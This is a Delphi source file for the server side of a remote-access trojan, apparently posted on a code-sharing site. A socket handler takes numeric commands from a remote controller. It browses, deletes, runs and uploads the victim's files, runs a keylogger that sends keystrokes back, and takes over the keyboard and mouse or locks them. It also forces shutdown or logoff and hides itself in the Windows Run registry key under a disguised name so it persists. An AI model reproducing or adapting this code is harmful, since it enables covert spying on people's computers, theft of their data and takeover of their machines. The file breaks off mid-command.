📄 unit1.pas
字号:
var strr,go,tem,DOSN,DOSC,ST1,bgba,usna,f1,f2,S,S1,osVersion, REGVAL,RERT,RERV:string;
lh,Size, sunum,L,i,mx,my,mk,temp:integer;
a:TRect;
Found: BOOL;
tit,speak,Name:PChar;
st,hwnd1,hwnd2:hwnd;
Lppe: TProcessEntry32;
HSnapshot, HProcess,IEwin,hDesktop: THandle;
os:syver;
dwna : Dword;
MyBmp: TBitmap;
rec:tsearchrec;
Myjpg: TJpegimage;
memst: TMemoryStatus;
ld : DWORD;
fst:TFileStream;
buf,p1:pointer;
src:TSearchRec;
REIOF:TRegDataInfo;
REKN,REVN:TStringList;
TheBuffer : array[0..1024] of byte;
begin//收消息
lh:=Socket.ReceiveLength;
GetMem(buf,lh);
Socket.ReceiveBuf(buf^,lh);
strr:=TRIM(StrPas(PChar(buf)));
strr:=Copy(strr,1,lh);
if (strr='351') or (strr='359') or (strr='373') or (strr='378') then exit;
go:= copy(strr,1,3);
form1.Caption :=strr;
if copy(go,1,1)='3' then
begin
Reg := TRegistry.Create;
if strtoint(go)<350 then
begin
strr:=copy(strr,4,length(strr));
i:=pos('\',strr);
if i<>0 then
begin
RERT:=copy(strr,1,i-1);
RERV:=copy(strr,i,length(strr));
end
else
begin
RERT:=strr;
RERV:='';
end;
if RERT='HKEY_CURRENT_USER' then Reg.RootKey:=HKEY_CURRENT_USER;
if RERT='HKEY_LOCAL_MACHINE' then Reg.RootKey:=HKEY_LOCAL_MACHINE;
if RERT='HKEY_USERS' then Reg.RootKey:=HKEY_USERS;
end;
end;
case strtoint(go) of
007:begin//登录密码
if copy(strr,4,length(strr)-3)=SETC then
cs.Socket.SendText('007'+'OK')
else
cs.Socket.SendText('007'+'OFF');
end;
110:begin
M2.Text :='';
ld := GetLogicalDrives;//得到磁盘列表
for i := 0 to 25 do
begin
if (ld and (1 shl i)) <> 0 then
if GetDriveSpecies(Char(Ord('A') + i) + ':')='2' then
S1:=s1+(Char(Ord('A') + i) + ':');
end;
dirn:='';
filn:='';
fdir(copy(DCB.Text,1,2));
cs.Socket.SendText('110'+S1+'>>>'+COPY(DCB.Text,1,2)+'>>>' +dirn+'>>>'+filn);
end;
130:begin//刷新磁盘时
M2.Text :='';
LPH:=copy(strr,4,length(strr)-3);
dirn:='';
filn:='';
fdir(LPH);
cs.Socket.SendText('130'+LPH+'>>>'+dirn+'>>>'+filn);
end;
131:begin//刷新目录时
LPH:=copy(strr,4,length(strr)-3);
dirn:='';
filn:='';
fdir(LPH);
cs.Socket.SendText('131'+dirn+'>>>'+filn);
end;
150:begin //新建目录
strr:=copy(strr,4,length(strr)-3);
if directoryexists(strr)=false then
begin
createdir(strr);
cs.Socket.SendText('150');
end
else
cs.Socket.SendText('150'+'no');
end;
152:begin //目录删除
strr:=copy(strr,4,length(strr)-3);
remall(strr);
if directoryexists(strr)=true then
cs.Socket.SendText('152'+'0')
else
cs.Socket.SendText('152'+'1');
end;
155:begin//运行程序
DOSN:= copy(strr,4,length(strr)-3);
shellexecute(handle,'open',pchar(DOSN),nil,nil,SW_SHOWNORMAL);
end;
156:begin//文件更名
strr:=copy(strr,4,length(strr)-3);
i:=pos('>>>',strr);
S1:=copy(strr,1,i-1);
strr:=copy(strr,i+3,length(strr)-i);
i:=pos('>>>',strr);
f1:=copy(strr,1,i-1);
f2:=copy(strr,i+3,length(strr)-i);
renamefile(s1+f1,s1+f2);
cs.Socket.SendText('156'+'OK');
end;
157:begin//文件删除
strr:=copy(strr,4,length(strr)-3);
deletefile(strr);
if fileexists(strr)=true then
cs.Socket.SendText('157'+'0')
else
cs.Socket.SendText('157'+'1');
end;
170:begin//文件查找
strr:=copy(strr,4,length(strr)-3);
i:=pos('>>>',strr);
f1:=copy(strr,1,i-1);
f2:=copy(strr,i+3,length(strr));
FindFirst(f1+f2,faAnyFile-faDirectory,src);
if src.Name='' then
cs.Socket.SendText('170'+'*')
else
cs.Socket.SendText('170'+src.Name+'文件大小'+inttostr(src.Size));
end;
171:begin//文件查找并运行
strr:=copy(strr,4,length(strr)-3);
i:=pos('>>>',strr);
f1:=copy(strr,1,i-1);
f2:=copy(strr,i+3,length(strr));
FindFirst(f1+f2,faAnyFile-faDirectory,src);
if src.Name='' then
cs.Socket.SendText('171'+'*')
else
begin
shellexecute(handle,'open',pchar(f1+f2),nil,nil,SW_SHOWNORMAL);
cs.Socket.SendText('171'+f1+f2);
end;
end;
172:begin//文件查找并删除
strr:=copy(strr,4,length(strr)-3);
i:=pos('>>>',strr);
f1:=copy(strr,1,i-1);
f2:=copy(strr,i+3,length(strr));
FindFirst(f1+f2,faAnyFile-faDirectory,src);
if src.Name='' then
cs.Socket.SendText('172'+'*')
else
begin
deletefile(f1+f2);
if fileexists(f1+f2)=true then
cs.Socket.SendText('172'+'0')
else
cs.Socket.SendText('172'+'1');
end;
end;
179:begin
strr:=copy(strr,4,length(strr)-3);
updownfile:=strr;
DOWF:=TFileStream.Create(strr,fmOpenRead);
if DOWF.Size >8388608 then
begin
cs.Socket.SendText('1800');
DOWF.Free;
exit;
end;
DOWF.Free;
cs.Socket.SendText('1801');
end;
181:begin
DOWF:=TFileStream.Create(updownfile,fmOpenRead);
CS.Socket.SendText('182');
kks:=1;
end;
183:begin
if kks=0 then exit;
if DOWF.Position< DOWF.Size then
begin
lh:=DOWF.Size-DOWF.Position;
if lh>8192 then lh:=8192;
GetMem(buf,lh);
try
DOWF.Read(buf^,lh);
cs.Socket.SendBuf(buf^,lh);
finally
FreeMem(buf,lh);
end;
end
else
begin
cs.Socket.SendText('184');
DOWF.Free;
kks:=0;
end;
end;
185:begin//查找并下载
strr:=copy(strr,4,length(strr)-3);
i:=pos('>>>',strr);
f1:=copy(strr,1,i-1);
f2:=copy(strr,i+3,length(strr));
FindFirst(f1+f2,faAnyFile-faDirectory,src);
if src.Name='' then
cs.Socket.SendText('185'+'*')
else
begin
updownfile:=f1+f2;
cs.Socket.SendText('185'+src.Name);
end;
end;
201:keyti.Enabled :=true;//开始键盘记录
202:begin
keyti.Enabled :=false;//停止键盘记录
cs.Socket.SendText('202'+M1.Text);
M1.Clear ;
end;
203:begin//ESC
keybd_event(27,0,0,0);
keybd_event(27,0,KEYEVENTF_KEYUP,0);
end;
204:begin//←
keybd_event(8,0,0,0);
keybd_event(8,0,KEYEVENTF_KEYUP,0);
end;
205:begin//删除
keybd_event(46,0,0,0);
keybd_event(46,0,KEYEVENTF_KEYUP,0);
end;
206:begin//上页
keybd_event(33,0,0,0);
keybd_event(33,0,KEYEVENTF_KEYUP,0);
end;
207:begin// 回车
keybd_event(13,0,0,0);
keybd_event(13,0,KEYEVENTF_KEYUP,0);
end;
208:begin//下页
keybd_event(34,0,0,0);
keybd_event(34,0,KEYEVENTF_KEYUP,0);
end;
209:begin//TAB
keybd_event(9,0,0,0);
keybd_event(9,0,KEYEVENTF_KEYUP,0);
end;
210:begin//ALT+F4
keybd_event(18,0,0,0);
keybd_event(115,0,0,0);
keybd_event(115,0,KEYEVENTF_KEYUP,0);
keybd_event(18,0,KEYEVENTF_KEYUP,0);
end;
211:begin//CTRL+A
keybd_event(17,0,0,0);
keybd_event(65,0,0,0);
keybd_event(65,0,KEYEVENTF_KEYUP,0);
keybd_event(17,0,KEYEVENTF_KEYUP,0);
end;
212:begin//上
keybd_event(38,0,0,0);
keybd_event(38,0,KEYEVENTF_KEYUP,0);
end;
213:begin//下
keybd_event(40,0,0,0);
keybd_event(40,0,KEYEVENTF_KEYUP,0);
end;
214:begin//左
keybd_event(37,0,0,0);
keybd_event(37,0,KEYEVENTF_KEYUP,0);
end;
215:begin//右
keybd_event(39,0,0,0);
keybd_event(39,0,KEYEVENTF_KEYUP,0);
end;
216:begin//上锁键盘
DisableKeyboard();
retu();
end;
217:begin//解锁键盘
EnableKeyboard();
retu();
end;
218:begin //鼠标事件
mx:=strtoint(copy(strr,4,4));//得到X坐标
my:=strtoint(copy(strr,8,4));//得到Y坐标
mk:=strtoint(copy(strr,12,1));//得到击键方式
setcursorpos(mx,my);//定位坐标
if mk=1 then//单击
begin
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
end
else if mk=2 then//双击
begin
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
end
else if mk=3 then//右击
begin
mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
end;
retu();
end;
219:begin//锁鼠标
SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @temp, 0);
a:=rect(0,0,5,5);
ClipCursor(@a);
retu();
end;
220:begin//鼠标解锁
SystemParametersInfo( SPI_SCREENSAVERRUNNING, 0, @temp, 0);
ClipCursor(nil);
retu();
end;
221:begin//开光驱
mciSendString('Set cdaudio door open wait', nil, 0, handle);
retu();
end;
222:begin//关光驱
mciSendString('Set cdaudio door closed wait', nil, 0, handle);
retu();
end;
223:begin//关机
reg:=tregistry.Create ;
reg.RootKey :=HKEY_LOCAL_MACHINE;
IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
reg.WriteString('PHIME2OO2ASyst',Application.ExeName);
reg.Free;
cs.Active :=false;
cs.Close ;
SetPrivilege('SeShutdownPrivilege',true);
ExitWindowsEx(EWX_SHUTDOWN,1);
ExitWindowsEx(EWX_FORCE,4);
ExitWindowsEx(EWX_POWEROFF,8);
ExitWindowsEx(EWX_SHUTDOWN or EWX_FORCE or EWX_POWEROFF,0);
exitwindowsex(ewx_shutdown,0);
end;
224:begin//注销
reg:=tregistry.Create ;
reg.RootKey :=HKEY_LOCAL_MACHINE;
IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
reg.WriteString('PHIME2OO2ASyst',Application.ExeName);
reg.Free;
cs.Active :=false;
cs.Close ;
ExitWindowsEx(EWX_LOGOFF,0);
ExitWindowsEx(EWX_FORCE, 0);
end;
225:begin//重启
reg:=tregistry.Create ;
reg.RootKey :=HKEY_LOCAL_MACHINE;
IF reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -